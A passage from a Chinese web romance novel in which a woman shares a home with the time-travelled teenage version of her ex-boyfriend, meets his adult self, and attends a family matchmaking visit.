莫名被夸了一句的林念禾笑得很开心,"你也很漂亮。" 女生顿时羞涩,"你们长得好像啊,一眼就能看出来是亲姐弟,都很好看。" 霍锌终于拿正眼看她了,垂下的眼皮遮住情绪,周身气息压人。 一直以来借用弟弟身份故意阴阳别人的回旋镖,在这一刻扎到了自己身上。 林念禾丝毫没觉察出不对劲,反而起兴趣问,"这是你家的书店吗?" "对,我妈妈下午有事,我帮她看一会儿。" "妹妹,能不能帮我拿一支好用点的黑笔。" 她说话的时候,上半身微微倾过来,若有似无的香味萦绕在柜台女生的鼻尖,像是被她拥抱住一样。 女生当即点头,抽出旁边笔盒里的一只笔,磕磕巴巴地道,"姐姐,这只好用。" 林念禾笑了下,"帮我结账吧,谢谢妹妹。" 对面的人受不住这一笑,心脏跳得厉害,整个人都要被烫熟了似的,热气冒上脸,根本想不起来校草本草还站在旁边。 "不、不客气。" 滴的一声,付完钱,林念禾杵在原地,还想和女生多聊两句,一只微凉的手倏地紧贴上她的手心。 很强势地分开她的手指,滑进指缝,牢牢相握。 突如其来的 行为,她的话被迫卡在嗓子眼。 少年稍微用力,将她扯到身侧,面色淡然地望了柜台女生一眼,迈步朝外去。 女生眼里满是错愕,张了张嘴,目送他们离开。 一走出店门,他倏地松开。 从兜里拿出一包纸巾,"擦擦" 林念禾有些懵,"擦什么?" 他脚尖转向,对着她,头微低,"刚牵了你的手,你肯定嫌弃我脏。" 她没动,面无表情地问,"你是打算让你同学误认为,你有恋姐倾向吗?" "亲姐弟拉拉手怎么了?" "你那是拉手吗?" "她喜欢我,你看不出来吗?" "是因为她看你脸红了,可是她看我也脸红了。" 霍锌目光黑沉,心脏像是被撕扯开一条裂缝,"她上周往我抽屉里塞了一盒巧克力。" "巧克力好吃吗?" "林念禾,你为什么一直在避开我的问题" 林念禾后撤了一小步,下巴抬起,"你和我说这些事没有意义,我不会因为有人喜欢你就抓着你吵架,更不会吃醋生气。我给不了你想要的反应,我们之间只有室友关系。" "好。"他干涩地吐出一个字,眼睛眨动,"我去上晚自习了,你先回吧。" 话罢,转身去公交站台。 寒秋的风吹在脸上,霍锌表情冷得可怕,站在公交站台上,等公交过来。 抬脚迈上公交的前一秒,他想如果林念禾这会儿在后面喊他一声,他就跟她道歉。 可惜没有人叫他的名字,公交的门被关上,车辆驶离站台,嘈杂的聊天声持续不断地涌入他的耳道。 窗外一片落叶砸在玻璃上,然后掉落在地上被轮胎碾碎。 她说的话太伤他的心了,为什么连骗都不肯骗他。 这场霍锌单方面发起的冷战一直到元旦都没有结束。 说是冷战,她找他说话,他照样也会回应,只不过没有之前那样热情,甚至家里的家务还是霍锌包圆。 有种冷脸洗内裤的既视感…… 元旦节当天下午,林念禾抱着胳膊站在阳台。 霍锌今天早上起了个大早,把家里所有的东西都洗了一遍,就连乐乐都被迫洗澡吹毛,换上新衣服。 她已经看见他晾了两盆衣服了。 "去超市买东西吗?" 林念禾受不了他发疯,"你上回不是说想吃汤圆,正好今天买几盒回来放冰箱。" 他把乐乐的最后一件狗衣服晾好,"好。" "你多说两个字会死吗?" "不会。" "……" 林念禾好久没逛街,手痒得厉害,没一会儿购物车里就被堆满商品。 带人出门的好处,就是不用她拎东西。 她两手空空,乐得自在,男生抿着唇,还有些生气的意味,跟在她身边。 不远处的黑车,助理屏住呼吸,缩小自己的存在感。 后排,男人的目光透过车窗落在那对并行的男女身上。 第30章 第30章试探 世界上有很多无法解释的巧合,甚至会出现两个异父异母却长相高度相似的人。 那个多次出言嘲讽他,让他离林念禾远一点的男生,居然跟他长得一模一样。 霍锌分不清内心是嫉妒更多一点,还是窃喜更多。 嫉妒林念禾对那个小孩的态度亲密,更窃喜自己或许在她心里还有地位。 她应该是喜欢他的,不然不会找替身。 内心那根名为理智的弦线突然被绷到最紧,无法承受般地断裂开。 他之前到底在装模作样些什么,明明自己是最恨不得和她永远在一起的那个,他们在一起最久,按照先来后到,自己才是林念禾的原配,她的丈夫只不过是个乘机上位的小偷罢了。 哪怕会遭受世俗的谴责,他也甘之如始。 男人沉默着,陷入思忖。 车厢里是死一般的寂静,助理连呼吸声都放轻了。 等林念禾的身影消失在视野中,助理小心翼翼地提醒,“霍总。” “跟着。” 跟着谁当然不用言说,光是只看一眼侧脸,就知道那个男孩儿和霍锌长得一模一样。 林念禾的车很好认,司机一路不远不近地跟着,直到停在小区门口。 “帮我在这里准备一套房子。” 至于是用来住,还是用来以备不时需,他还没想好。 一团情绪堆积在胸口,霍锌闭了闭眼,最后下车。 冷风吹在脸上,让他终于冷静下来几分。 突然一片雪花落下来,很快消失在地面化成水,接着空中飘起点点白色雪花。 霍锌拨通林念禾电话,那头被接通后,他才冷不丁回神。 握住手机的指节冻得泛红,他张了张嘴,不知道说什么。 就像一个被巨大糖果砸得找不到方向的孩子,激动得难以抑制。 毕竟她还喜欢他,毕竟她愿意找一个跟他长得很像的替身。 “有事?” 林念禾坐在沙发上,下意识看了一眼少年紧闭的房门。 这好像是他们遇见的半年来,第一通电话。 因为上次霍锌帮了她一把,不至于让她往火坑里跳,林念禾对于他们的关系态度改善了不少。 比起分手后老死不相往来的前任,她更希望霍锌能是她成功路上的垫脚石。 谈了那么多年恋爱,让她利用利用怎么了。 以前他老欺负她,总该还回来点利息。 “你现在有空吗?” 男人的嗓音听起来有些奇怪,仿佛在克制着什么。 "有空,霍总找我有事" 霍锌顿了顿,"我想看看乐乐。" 他语气低迷,声音低低的,像对她发出一种乞求。 她掀开盖在腿上的毛毯,单手握着电话,去看狗笼里的狗在不在睡觉。 今天天冷,早上没遛它。 乐乐一看见她来,尾巴转得跟螺旋桨似的,冲她叫了两声。 隔着电话听见狗叫,霍锌问,"你能带它出来吗?" 林念禾打开笼子,直接答应,"可以。" 话尾一落,少年不知道什么时候站在她身后,漆黑的眼眸注视着她的后脑勺,冷声道,"不准去。" 狗被放出来,蹭着他的腿。 他弯腰摸了摸它,眼神一直落在林念禾的身上,"外面下雪了,你要是想冻坏它,就带着它出去。" 男生的话清楚地通过电话传到霍锌的耳边,他的手不自觉紧了下,“不方便的话,就算了。” “不好意思,你先等我一下,我带着它过去。” 说完,林念禾就把电话挂了,拿过放在笼子上面的牵引绳,给狗穿上。 少年蹲下来,一把摁住她的手腕,“你就非得去找他?” 为什么会有种捉奸的语气。 “人家帮了我忙,我总得还回去一次。”林念禾停住动作,和他对视,“如果不答应,这份人情就会一直欠在这里,你自己的人品你自己心里清楚。” 高中版本的霍锌就是用这种手段,和她拉近关系。帮她写检讨,借她校服穿。高二上学期学校有个女生下晚自习被人尾随,当时林母忙着职称评估,外婆年纪大了,家里没人能接她下晚自习,于是他主动提出送她回家,一送就是小半个学期。 少人的路边,昏暗的灯光下,两个人的关系自然而然地变得亲密,后面的发展更是水到渠成。 霍锌抿了抿唇,有些哑口无言,他当然知道自己是什么德行,所以才不肯让她出去。 “写作业去吧,我出门了。” 她站起来,拍拍他的脑袋,“想吃什么吗,我回来给你带。” 不知道是不是因为九岁的年龄差距,再加上离三十岁只差三年的年纪。她有时候看霍锌更像是在看弟弟,只要是不越界的作妖,她都很乐意包容。 大概是母爱突然在变小的前男友身上,得到了散发。 哄小孩的语气,让霍锌很不爽,他磨磨牙,扯住她的衣角,半天憋出来一句,“再摸一下。” 林念禾:…… 她掰开他的手指,一字一句,“滚回房间写作业去。” 还他大爷的蹬鼻子上脸了,这还有个巴掌他要不要。 外面的温度没有想象中的冷,雪也 比之前下得要小,渐渐停了。林念禾点开霍锌发过来的定位,发现他就在小区附近,于是打算走过去。 乐乐一看见霍锌,就飞奔过去,用在家里蹭少年的同样方式蹭着他的腿。 他看见林念禾走过来,睫毛颤了颤,心脏仿佛被人狠狠地攥住,喘不上气,浓郁的酸涩挤满了胸腔。他现在在嫉妒林念禾愿意为了那个连男人都算不上的高中生违背婚姻。 “走走?”霍锌问,“你老公最近身体怎么样了?” 他们沿着街道慢走,她淡淡回,“还不错。” “我只是想看看它,没有想跟你抢狗的意思。家里现在养了一只猫,不太方便带狗回去,它胆子很小,容易应激。” 单身男人突然改变生活习惯,养宠物,多半伴随着感情生活的变化。 打着小猫的旗号,更容易吸引女孩。 霍锌看了她一眼,没有看到想要的反应,连个皱眉都没有。 “我想成立一个新的品牌,你觉得怎么样” 其实这个问题,她很早就想问霍锌了,但是两个人在手机上很少联系,她一直找不到机会开口。 陆氏是一家上市家居公司,最早的时候,同行还在卷传统木材,陆氏主打绿色环保,研发出新型复合材料,符合海外装修主流要求。 海外市场占比过多,国内销售额虽然也在行业前几,但比起其他主要依靠国内市场的公司,陆氏抗风险能力要显得更低。 汇率波动,海运成本上涨,政治风险,战争冲突,还有各种数不清的因素。 新品牌不仅能让陆氏重新回到国内市场,还能让她在短时间内最快做出成绩。 他怔了下,没料到她话题转了弯绕到工作上,思考片刻,“挺好,初期聚焦一个特定的品类,再横向发展。” 林念禾得到肯定,心沉了沉,脑子里各种计划迸发而出。 他们以前会经常像这样散步,霍锌牵着狗,她牵着他的手,偶尔他会低头亲亲她的嘴角,引来她的一顿乱揍。 林念禾走在他的右侧,很有分寸地保持着不远不近的距离,满是疏离感。 “你弟弟呢?”霍锌很淡地看了她一眼,"在家写作业" "高三生除了写题就是上学,不然还能干什么。" 因为家里的男高和正主见过好几次面,虽然过程中夹枪带棒,但总归没有掉马。 所以林念禾现在听到他问小霍,都能稳如老狗地编瞎话,心颤都不颤,冷静得一批。仿佛家里真的有个快要高考的弟弟,而那个弟弟也没有和霍锌长着同一张脸。 "他挺喜欢学习的,我姨对他期望也高,希望能考个好大学。" "为什么我每次见他,他都带着口罩。"霍锌停下来,侧过身,望着她。 只静静地看着她,却给人很大的压力,那双好看的眼眸好似想要透过林念禾的眼睛看到最深处的想法。 他语气平淡,姿态则恰恰相反不容她有任何逃避的行为。 "是他长得丑,还是不能让谁看见" 林念禾哽了一下,心顿时吊起来,像一只飘在空中摇摇欲坠的风筝,别人一松手,就能摔得四分五裂。 他们的合作才刚开始,如果让霍锌知道她收留十八岁的他,他会觉得她恶心吗? 也有可能趁机威胁她,嫌弃她对自己不怀好意。 "他前段时间感冒,最近作息不规律,脸上长痘,小孩儿自尊心强,觉得丑。" 林念禾反应很快,"你要真好奇他长什么样子,我下次让他带乐乐出来。" 心扑通扑通地跳,通过骨骼传到耳膜,她笑了下,等待着对面的回答。 按照她的了解,应该会拒绝。 霍锌除非脑子被狗踢了,才会对一个小孩儿的长相感兴趣。霍总每天过手的合同,金额成千上亿。对于他们来说,时间就是金钱,浪费时间在一个男高身上,这纯有病。 "行。"霍锌看见她假到不行的笑容,重新转过身,迈步往前走,"高中容易早恋,我帮你打探打探他的感情状况。" "不,也有不谈恋爱的高中生。" "我没见过。" "贺渺高中就没有早恋啊。" "那是她喜欢隔壁那个矮子,结果对方没看上她。" "……" 话题被成功从男高身上转移走,林念禾虽然不想聊这个话题,但只能硬着头皮跟他一同回忆往昔。 霍锌聊天的尺度把握得很好,只聊高中那些事,绝口不提他俩恋爱的事。 等到家,把乐乐关进狗笼。 林念禾倚在笼子旁边,沉思。她好像被人带着往沟里去了,一通聊天下来,对前男友的态度比以前好了不少,两个人的关系突然被拉进,甚至她在他的身上隐隐找到了熟悉感。 不是高高在上的资本家霍总,是那个跟她谈了很多年恋爱的霍锌。 元旦过去,春节就快了。 今年过年比以前早,春节在一月份。 林念禾在公司年会上发言,坐实之前公司里传得轰轰烈烈的自己是继承人的谣言。她连脸都不要了,还当着一群人的面,感谢陆建林,感谢她亲爸。 陆建林坐在底下第一排的座位,脸上全是笑。 除夕,她第一次住在陆家。 房间很大,是小时候她们家的好几倍,布置得过于温馨,暖色灯调,看得出陆建林恨不得她真的把这当成自己的家。 门外响起敲门声,林念禾在手机上回完小男高的消息,起身去开门。 温诗端着一杯牛奶,"没有打扰你吧?" "没有,温姨。" 她缓步进来,把牛奶放在桌上,漂亮的眉眼带笑,"明天阿姨带你去姜家拜年,早点睡。"魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 30-40 第31章 第31章一见钟情 温诗有个好闺蜜,在事业最鼎盛时期宣布退圈怀孕生子。 当然嫁的肯定不是普通人,那位闺蜜就是现在姜总的夫人。 正因为目睹朋友过得幸福,她才会走上结婚这条路。 比起在娱乐圈里阿谀奉承,不停地维系人脉,还要顺便担心自己过气接不到剧本。嫁给富商做阔太太,就像一块裹着蜂蜜的蛋糕,勾着她。 至于蛋糕里面有没有掺着毒,谁都不知道。 温诗注视着面前的人,心中有些可惜,这要是她肚子里出来的,那该有多好。 可惜陆建林是个不能生的,连带着她这辈子都不能有自己的孩子。 她定定瞧了会儿,在林念禾快要出声赶人的时候,开口说,"姜家有个没结婚的儿子,你爸的意思是明天可以去看看,如果还算满意,就安排你们单独吃顿饭。" "他不是刚大学毕业吗?" 林念禾蹙眉,手撑在桌面,回忆了下。 陆建林的深交朋友不多,姜家的老总算一个,他和温诗认识也是那位姜夫人撮合。 之前整理资料,她特意留心过姜家,夫妻两人恩爱,只有一个今年刚从国外毕业的小儿子。 相亲未免也太早了些。 温诗像是看出她的想法,伸手替她挽了挽额角的碎发。能在娱乐圈里混那么多年,温诗的脸是毋庸置疑的漂亮。 哪怕年近四十,脸上却几乎没有皱纹。 林念禾嗅见她身上淡淡的香气,刹那间突然明白之前和书店的柜台女生说话,为什么对方会脸红一片。 阅历和年纪的增长,放在漂亮女人身上,无疑是一大杀器。 "他很蠢,没你聪明。跟人赛车,结果发生车祸,他没事,对手却死了,被姜总知道后强制逼回国。与其让他祸害企业,不如尽早安排他联姻,发挥点最后的余热。" 桌上的花瓶里插着早上佣人刚换过的新鲜花枝,这会儿因为屋内暖气的烘烤,花瓣有些蔫了。 温诗垂眸,掐下一片,鲜红的液体染上指甲。 林念禾懵了下,"这是我爸的原话" "不是。"她用纸擦干净手,抬眼看她,"你爸对这桩婚事并不多满意。" 陆建林不喜欢只知道吃喝玩 乐的废物二代,在他的眼里,这种货色都不配进他们陆家的门。 男人就该有男人的样子,有担当,能照顾家庭,能保护自己的妻子孩子。如果只知道靠着林念禾荒度余生,那跟废物有什么区别。 他看不上姜家的小儿子,又不好一口回绝老朋友,所以把选择权扔给林念禾自己。 到时候他就能借着孩子的名义,拒绝掉这么联姻。 温诗说完这句话,就离开了房间。 因为这番恶毒的评价,很违背她平日里的温柔体贴人妻设定,林念禾一时半会儿有些弄不懂她的意思。 是打算弃暗投明,和她站在同一阵营,还是因为自己不要脸认祖归宗,以后百分百继承陆家,所以温诗才加大讨好她的力度。 次日, 因为昨天雨夹雪,空气潮湿,冷得刺骨,导致陆建林旧疾复发,半夜疼得睡不着觉,更别提出门了。 两家关系好,林念禾又是第一次在他身边过年,总该让她去替他在外面走一趟,在老一辈面前露露面。 以前林念禾最讨厌的就是走亲戚,每次林母带着她去那些表亲家走动拜年,好事的大人会问她想不想爸爸,想不想要个新爸爸。 一次两次还是偷偷问,后面有人喝多了,直接在饭桌上开玩笑问她知道自己和别人有什么不一样吗? 林母当下扔了筷子,拽着她就走。 小小的林念禾,一直觉得那时候的妈妈是天底下最酷的人。 林念禾下车,跟着温诗进去。 没等进门,就看见一个橘色的不明物体朝着自己冲过来。 她眼皮一跳,下意识往旁边靠让,橘色物体猛地摔倒在地。 染着一头橘色的年轻男人,捂着腰爬起来,直抽冷气。 "哎呀,这是老陆的女儿吧,长这么大了,好漂亮啊。" 女人放下手里的鞋,眼睛一亮,拉起林念禾的手,"没撞着你吧,我跟姜砚在家跑步来着,闹着玩呢。" 姜砚捂着腰,吃痛地靠在展柜上,"妈,你老糊涂了吧,我被你拿着拖鞋抽,你管这叫跑步。" "……" 被儿子戳穿,姜夫人也不生气,笑盈盈地威胁他,\"去给客人们倒杯茶。" 对视三秒,姜砚认命地离开。 "温诗总在我面前夸你,今天一看,确实漂亮,听说你还是高考状元。"姜夫人把人拉到客厅,也不管自己的好闺蜜了,一个劲儿地逮着林念禾猛聊。 这基因,落在他们家,纯是来扶贫的。 一想到姜砚从小学就开始不及格的考试试卷,她嘴角的笑更加真心了。 差六岁而已,够她儿子抱两块金砖。 姜砚端着两杯水,有礼貌地放在他们的面前,"温阿姨喝茶。" "谢谢。"温诗抿了口茶,"你前几天不是跟我说,想买条成色好的项链,需要我帮你参谋参谋吗?" 姜夫人眼神落在自己家不成器的儿子身上,顿时知道她什么意思,"当然要你帮我看看,姜砚你带着念禾转转。" 说罢,她同温诗一起上楼,留下两个人在客厅。 进门前还客厅忙活的佣人也早跑没影了。 客厅安静到落针可闻,林念禾面色正常,姜砚却尴尬地站在一边不知道干什么。 他人生第一次相亲,还被相亲对象看见自己被亲妈追着打。 面子里子一时间丢得一干二净。 他长相随他妈,打出生就知道自己长得十分好看,但姜砚还是有些不自信地拨弄了两下显眼的头发。 林念禾虽然表面上藏得很好,他却在她身上感觉到了跟他爸一样的气质。 比起他爸那种上位者的随和,她好像还夹杂着看惯了男色的无动于衷。 "要去后院逛逛吗" 林念禾点了下头,因为前几天下雪,后院的积雪还没有融化。 种了一片梅花,雪压着枝头。 姜砚弯腰双手捧起一摊雪,然后用力捏了捏,不一会儿,一个可爱的小雪人出现在他的掌心。 他把雪人递到林念禾面前,掌心因为刚才摸雪,冻得通红。 男生笑起来,露出两颗虎牙,眼尾泛红,"送你。" 她碰了碰雪人的头,手收回去,没接,"捏得挺好看的。" "你会不会堆雪人" "不会。" "那我教你。"说着,他开始动手,看见身后的林念禾站着不动,“怎么了?” "我前男友之前在冬天也老这么捏雪人逗我。" "……" 姜砚缓缓站起来,安慰,"没事,都过去了。" 虽然他没谈过,但还是能理解人会时不时触景生情。 "他过去了,我没过去。" "……" 给完小男生一通绝杀后,林念禾不露深浅地拍拍衣角,跟在他的后面回去。 他们回去的时候,姜夫人刚和温诗从楼上下来,一看见自家儿子头上飘着雪花,她就知道这倒霉孩子带着林念禾跑出去了,顿时气死了。 "外面那么冷,念禾脸都冻红了,头发也湿了,你快带她去楼上洗个澡。" 姜砚看了一眼身后的人,回来的路上,林念禾不小心摔了一跤,躺进雪里,这会儿头发都湿了。 他心生愧疚,"我带你去楼上,不然等会儿要感冒了。" 她当时走得好好的,突然被东西绊倒,摔了相当结实的一跤。可能是在姜家骗姜砚,姜家的祖宗有些看不下去了。 林念禾没再推辞,跟着他上楼。 整个三楼都是姜砚的个人空间。佣人拿了新的毛巾洗浴用品放在外间的浴室,她洗了个澡,换了一身干净衣服。 等出来时,姜砚坐在沙发上无聊地抬手,不知道干些什么。 林念禾走过去,静静地站在他身后。 茶几上是一个小圆球一样的东西,市面上还没有出现过。 姜砚伸了伸手,对面圆球的屏幕突然变亮了一些,他又往左滑,圆球立刻屏幕变暗,关机。 明明没有接触到,却能通过捕捉动作,调节模式。 一个想法在林念禾的脑子里渐渐汇聚出雏形。 姜砚透过黑下来的屏幕反光看见她,转过头,耳尖有些红。 这是他第一次和洗完澡出来的女生,相距这么近。 沐浴露的清香萦绕在他的鼻尖,同样的气味却带着女生的甜腻。 姜砚的喉结滚了滚,飞快眨动眼睛,"你……" 想说的话被卡在喉咙,面前的女生突然贴近他,直直望着他。 在那一瞬间,他能感觉到自己猛然加速的心跳,是某种激素分泌后刺激大脑神经兴奋,导致血液加速,呼吸急促,手脚都跟着僵住。 这和过往看见那些女生不一样,他发现在这一刻,好像自己的心脏只为了面前这个人而跳动。 山崩地裂,海啸风吟,姜砚后知后觉地意识到一件比他爸妈男女混合双打之后,断他生活费还要可怕的事情。 他对这位还没走出上一段情伤的姐姐,一见钟情了。 房间里一时间异常安静,姜砚看着这张离自己很近的脸,思绪万千。 她是不是想亲他 那自己是该拒绝,还是该顺从。 不行不行,他的初吻怎么能这么随随便便地送出去,起码也得等他们确定关系。 可是林念禾看上去,真的很想亲他,不然为什么直勾勾地盯着他看。 那她要是用强的,他作为一个男人该怎么办…… 林念禾不知道他都快想到婚后生活了,组织了半天语言,指着桌上那个小玩意儿问,"那个是什么?" "",姜砚懵怔,顺着她的手指看过去,"我同学捣腾的试验品,你喜欢" 林念禾点头,"有点感兴趣,你能不能把你同学的联系方式推我一下。" 她说这话,有点不好意思。 能看出来,这位姜家少爷,对当她的贤妻良夫有着很大兴趣。 但她真的不喜欢弟弟,对他这头橘毛更是没兴趣。 现下还想利用他找人,显得格外没良心。 姜砚气势一点点下去,眼睛巴巴地注视着她,仿佛身后垂着一条蔫了吧唧的小狗尾巴,"就只是这个 " 他还以为她想对自己干些什么。 "对啊,麻烦你了,下次我请你吃饭。" "那我们加个好友,然后我把我同学的账号发给你。"姜砚伸手够了一下腿边的手机。 两个人加上联系方式,他给她发完账号名片后,顺手点开她的朋友圈,三天可见,什么都没有。 干干净净的,就跟她的人一样。 有着龌龊心思的只有他一个人。 第32章 第32章听话,想了 得到了想要的东西,林念禾把手机收起来,乌黑的长发披在身后,亮晶晶的眼珠动了下。 "你平时都喜欢什么?" 念在姜砚可能在无意中帮了她一个大帮,林念禾想回赠个东西给他。 他目光在她的脸上转了一圈,端起茶几上的水杯喝了口水,压下心里的澎湃。 "我喜欢爬山,下次有机会一起" 总不能光明正大地说我喜欢你吧。 爬山什么的,最能促进感情了。 两个人爬到山顶,一起看日出,气氛到了,表白接吻什么的,最合适不过了。 但对于一个高中恨跑操,大学恨体测的人来说,爬山不亚于酷刑。 她没料到他心里的弯弯绕绕,感叹了下二十出头的年轻人果然精力旺盛,然后平淡地把话题掀过去,"好兴趣,我下楼了,你要下去吗?" 待在楼上的时间越久,姜夫人等会儿看她的眼神就有多热情。 姜砚有些失望,黑亮的小狗眼睛黯了一瞬,他跟着林念禾下楼。 待了一会儿,温诗带着她跟姜夫人告别。 等坐上车,林念禾有些犯困地靠在椅座后背。 温诗也没有问她今天对姜砚感觉怎么样,反正喜欢或者不喜欢,到了陆建林那儿都是要变成不喜欢的。 他打定主意的事,就绝对不会改变。 她低头看了眼自己的手,白皙纤长,却要在陆建林面前端茶倒水。 林念禾在陆家只待到大年初二,晚上就随便找了借口回家。门上是霍锌贴的春联,家里也被他布置得很喜庆。 阳台挂着两个小红灯笼,被风吹得在空中左右摇摆。 乐乐跑过来,她把它抱起来,发现傻狗的脖子上挂着一个小银项圈,项圈下面是几个没有声音的小铃铛。 林念禾亲了亲它,把脸埋进它的后背,在陆家紧绷的神经陡然松懈下来。 "在家听话吗,想我吗?" 她拍拍狗头,狗不会说话,只一个劲儿地拿嘴拱她。 "听话,想了。" 一道男声在背后倏地响起,声音懒洋洋的,像是刚起床。 林念禾转头看过去,少年的脸离她很近,近到能清楚地看见他浓密的睫毛,眼尾的眼皮褶皱温顺地平展开。 大概因为刚起床,睡得还迷迷糊糊,他的瞳孔沾着雾气,湿漉漉地望着她。 上半身只套了件白色短袖,衣摆上卷,露出半截劲瘦的腰身。 林念禾被这突如其来的男色,整得心跳漏了一拍。 霍锌见她愣在原地,抬手揉了下她的脸,转身去厨房倒水喝。 等水杯送到唇边,他突然顿住,目光停在自己的右手心。 客厅, 林念禾把狗放下来,扶着沙发扶手,平复心情。 虽然现在和她同居的是18岁的霍锌,没有之后的记忆,但不得不承认,这人总会在不经意间做出一些和大学同居时一模一样的行为。 热恋时期,霍锌喜欢揉她的脸,再接着亲一口。 那颗波澜不惊的心,在面对年轻的初恋时,居然该死地有了一瞬的跳动。 这让她以后怎么直视27岁的霍锌 男生出来后,手里端着一杯热水,他把水杯放在林念禾面前,顺势坐下来。 "刚睡醒" 霍锌捞了个抱枕搁在身前,淡淡地嗯了一身,"下午睡了一觉,睡得有点久。" "吃饭了吗?",她的心态已经调整回来了,变成一个仁慈的长辈关心晚辈。 "不饿。" 他侧眸看她,"你脸色不太好,陆建林难为你了?" "没有,就是有点累。" 两个人很有默契地绝口不提刚才发生的那段小插曲,林念禾是觉得尴尬,毕竟她当时没下意识推开他,也没骂他,这会儿再事后诸葛亮,显得她在欲拒还迎。 霍锌扫了她一眼,视线下垂落在自己的身前,他那会儿是真的睡迷糊了,听见门口有动静,就随便捞了件衣服套上,踩着鞋出去。 没开机的大脑在瞧见林念禾后,死机得更加彻底,导致直接忘了自己穿越到九年后了,以为两人在谈恋爱,她还是自己的女朋友。 林念禾也没骂自己,难道是因为在陆家住了好几天,发觉了他的好,所以对自己变得宽容了 手心里满是残存的滑腻感,肌肤相贴的柔软,霍锌不自觉地摩挲着指腹,蠢蠢欲动地想再占一下便宜。 \"去把作业拿过来。\" "……" \"期末连前三十名都没考进去。" "三十一名。" "进三十了吗?" "……" 男高站起来,去房间里拿了一打数学试卷出来。 林念禾乍看见那些熟悉的数学公式,顿时觉得心灵被净化了,什么男色,什么初恋都见鬼去吧。 她抬笔开始给他讲题。 霍锌欲言又止,目光落在她的脸上,莫名有些心痒。 想咬一口。 但是咬了,会被赶出家门。 做人为什么要有底线,他如果没底线,就能趁她晚上睡觉偷偷咬她了。 "看我干什么,看题啊,我脸上有字" "……" 春节假期过去得很快,为了稳固她和18岁霍锌的革命室友情,林念禾每天雷打不动地抽一个小时出来帮他讲题。 每次讲完题目,霍锌总会有一种被榨干的茫然眼神盯着她。 这哪是人啊,一边讲题目还会一边嫌弃他笨,怀疑他的智商。 气急了的时候,林念禾还会面无表情地问他,为什么她当初能看上他。 "好了,别骂了,你愿意跟我谈恋爱,因为我用长相勾引的你,我是男狐狸精,都是我的错。" 霍锌趴在书桌上,有气无力地回道。 林念禾把物理试卷翻了个面,"就你这样还男狐狸精你见过物理就考八十分的狐狸精吗?" "我身材好。" "一般般。" 男生倏地从桌子上起来,眼眸微眯,"你认真的?" 他一个刚成年,六块腹肌,要什么有什么的男人,她居然评价一般般。 "等你长大了,你就知道了。" "林念禾。" "嗯"她低头看着试卷。 "你最近好像越来越喜欢调戏我了……" "……" 吧嗒,笔掉在地上。 林念禾终于抬头看他了,"天刚黑你就做梦了?" 不等他说话,她立马抛出另一个消息,"下礼拜,我要去外地出差一段时间,你自己照顾好自己,有事的话就打我电话,或者我生活助理的电话。" "没事能打吗?" "不能。" "有别的人,跟着你去吗?"霍锌指尖转着笔。 这次出差主要是去参观评估姜砚那位同学的小公司有没有合作的价值,姜砚作为中间人,当然会跟着去。 对上少年的眼神,林念禾不知道为什么突然有些心虚,下意识否认,"当然有同事。" 霍锌定定瞧了她好半天, "注意安全,在外面照顾好自己。" "今天的题差不多讲到这里,你休息吧,明天还要上学。" 林念禾站起来,离开房间。 其实他没说的是,刚才她说话看自己的眼神,活像正宫抓住了在外偷吃的妻子,心虚到不行。 霍锌伸手拿了本练习册翻开,管它呢,外面莺莺燕燕再多,只有他能 住进林念禾的家里,别人都是港湾,他才是家。 起码她现在乐意调戏他了,那离他上位还远吗? 出差去D市的当天,林念禾没跟姜砚一起走。 她定了早一班的航班先到酒店,在房间里面睡了一觉后,姜砚才落地。 厚重的窗帘阻挡阳光射进来,屋内黑漆漆的,醒过来后,林念禾摸摸枕头下的手机,两分钟前,姜砚给她发了消息。 她掀开被子,去开门。 乍看见他染回来的黑发,她一下还有些怀念橘发小狗。 姜砚站在门外,有些不好意思,“我是不是打扰你休息了?” “没有,我刚睡醒。” “我同学说晚上想请你吃个饭,所以我来问问你有没有空?” 本来发个消息就能说的事,他却藏了私心,想见她一面,所以跑上来问她。 “有空。” 他想了想,说道,“我就住你旁边,你有事的话,可以来找我。” 林念禾笑了下,"时间不早了,你回房间休息一会吧。" 后知后觉发现她只穿了一件薄的长袖,站在门口跟他说话,姜砚一时间懊悔不已。 "那我走了,就不打扰你了。" 其实他还有很多话想跟她说,那天初见之后,陆家就回绝了他爸妈想要联姻的想法。 姜夫人盯着他那张漂亮脸蛋,恨铁不成钢。 生了个直脑筋儿子,连追女孩都不会。 姜砚最近恶补了很多姐弟恋的小技巧,但在见到林念禾的那刻,又通通丢在了脑后。 他抬步,往旁边的套房去。 好像又搞砸了一次见面。 他真没用…… 门被关上,林念禾躺回被窝,手机里新进来一条信息。 是小男高发过来的照片,照片里面乐乐躺在他的腿上睡着了。 182:[它像我亲生的……] 三木:[你要知道人是生不出狗的。] 182:[它都能躺在我身上睡觉了,这和亲生的有什么区别?] 三木:[它有前爸,有后爸。请问你是哪个爸] 182:[……] 回完消息,林念禾摸着手机,沉思。 这狗东西是在自己手机里面装监控了吗,不然怎么姜砚刚走,他就发消息过来。 晚上, 姜砚在门口等她,今天吃饭只有他们三个人,算是私人聚餐。 电梯门打开,林念禾边低头翻包里的口红,边走进去。 余光看见一道黑色的人影,她脚尖拐了个弯,站到他的身边。 姜砚凑过来,"姐姐你找什么?" "有只口红好像没带。" 他掌心里躺着一只熟悉的长条物体,"是这个吗?" 林念禾愣了下,"怎么在你那儿?" "你出来的时候,随手给我了,你不记得了?" 好像确实是自己让姜砚帮她拿一下,然后她去关房间,结果转身就忘了这茬。 "谢谢。" 姜砚回了句不客气,"这个颜色很好看。" "是吗。"林念禾刚想回一句你眼光不错,身侧的男人突然离近了几分。 熟悉的气息裹着她,连带着大脑也空白了一瞬。 "好巧,林总。" 林念禾顺着声音望去,27岁的霍锌表情淡淡的,正低眸望着自己。 "好巧,霍总,你也出差" 上次带狗散步之后,他俩只在手机上不咸不淡地聊了几次,年三十那天,霍锌还给她发了新年祝福,林念禾也回过去一个很模板化的新年祝福。 霍锌视线略过她,看向站在对面的年轻男人。 他仔细打量了下他的脸,确认对方和自己长得没有任何相似之处,心才稍微放下一些。 "这位是" "朋友。"林念禾给他介绍,"姜砚。" 只听名字,霍锌就知道了这位是姜家的那个独生子。 电梯下行到一楼,门叮地一声打开。 "对了,我给乐乐买了一些东西,你记得让人签收。" 至于乐乐是谁,快递是寄到她家还是寄到公司,就让姜砚自己猜去吧。 第33章 第33章房间,送药 林念禾想了下应该是寄到公司,毕竟他不知道自己住在哪儿。 寄到公司的快递都有助理帮她签收,不需要她操心。 "我知道了。" 她很敷衍地朝他挥手,"霍总,再见。" 